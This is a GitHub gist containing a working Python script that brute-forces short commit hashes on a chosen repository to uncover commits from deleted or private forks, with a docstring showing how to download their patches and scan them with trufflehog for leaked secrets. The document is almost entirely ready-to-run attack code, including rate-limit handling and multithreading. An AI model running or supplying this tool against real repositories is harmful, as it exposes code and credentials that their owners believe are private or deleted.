Skip to content

Instantly share code, notes, and snippets.

@sudoaza
Created October 24, 2024 13:00
Show Gist options
  • Save sudoaza/a5f0cc15625292b78bd5b6afd1217902 to your computer and use it in GitHub Desktop.
Save sudoaza/a5f0cc15625292b78bd5b6afd1217902 to your computer and use it in GitHub Desktop.
Bruteforce private commits by their short hash. Based on research from Truffle Sec https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github
#!/usr/bin/env python3
"""
Brute force commit hashes on GitHub projects.
Example usage:
brute_commit.py user/repo >> found_commits.txt
mkdir dump_dir; wget -c -i found_commits.txt -P dump_dir
trufflehog filesystem dump_dir
"""
import requests
import argparse
import threading
import time
import sys
import os
from tqdm import tqdm
class RateLimit(Exception):
pass
def retry(times, exceptions=(RateLimit,)):
def decorator(func):
def newfn(*args, **kwargs):
attempt = 0
while attempt < times:
try:
return func(*args, **kwargs)
except exceptions as e:
attempt += 1
print(f"Retrying. Attempt {attempt} of {times}", file=sys.stderr)
return func(*args, **kwargs)
return newfn
return decorator
HIDDEN_MSG = "This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository."
@retry(times=2, exceptions=(RateLimit,requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout, requests.exceptions.ConnectionError))
def check_url(url, timeout):
response = requests.head(url, timeout=timeout)
if response.status_code == 200:
#print(f"Valid URL found: {url}")
response = requests.get(url)
if HIDDEN_MSG in response.text:
return url
elif response.status_code != 404:
if response.status_code == 429:
wait = int(int(response.headers["Retry-After"]) * 2.5)
print(f"Rate limited, waiting {wait} seconds.", file=sys.stderr)
time.sleep(wait)
raise RateLimit
else:
print(f"Attempted: {url}, Status Code: {response.status_code}", file=sys.stderr)
#print(response.headers)
def brute_force_commit(base_url, start, hash_length, threads, timeout):
for i in range(threads):
#print(f"Starting thread {i}")
thread = threading.Thread(target=brute_force_commit_thread, args=(base_url, start, hash_length, i, threads, timeout))
thread.start()
def brute_force_commit_thread(base_url, start, hash_length, thread_id, threads, timeout):
urls = []
# use tqdm to show progress
for i in tqdm(range(start + thread_id, 16**hash_length, threads)):
#for i in range(start + thread_id, 16**hash_length, threads):
suffix = f"{i:0{hash_length}x}"
url = f"{base_url}{suffix}"
if args and args.debug:
print(f"Thread {thread_id} checking {url}", file=sys.stderr)
found_url = check_url(url, timeout)
if found_url:
print(found_url+".patch")
urls.append(found_url)
return urls
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Brute force commit hashes on GitHub projects.")
parser.add_argument("project", help="GitHub project in the format 'user/repo'")
parser.add_argument("--debug", help="Show debugging mesages.")
parser.add_argument("--threads", type=int, default=4, help="Number of threads to use for the brute force (default: 4)")
parser.add_argument("--timeout", type=int, default=5, help="Timeout for each request in seconds (default: 5)")
parser.add_argument("--hash-length", type=int, default=4, help="Number of characters to bruteforce (default: 4)")
parser.add_argument("--start", default="0", help="Starting from hash value")
args = parser.parse_args()
base_url = f"https://github.com/{args.project}/commit/"
args.start = int(args.start, 16)
brute_force_commit(base_url, args.start, args.hash_length, args.threads, args.timeout)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment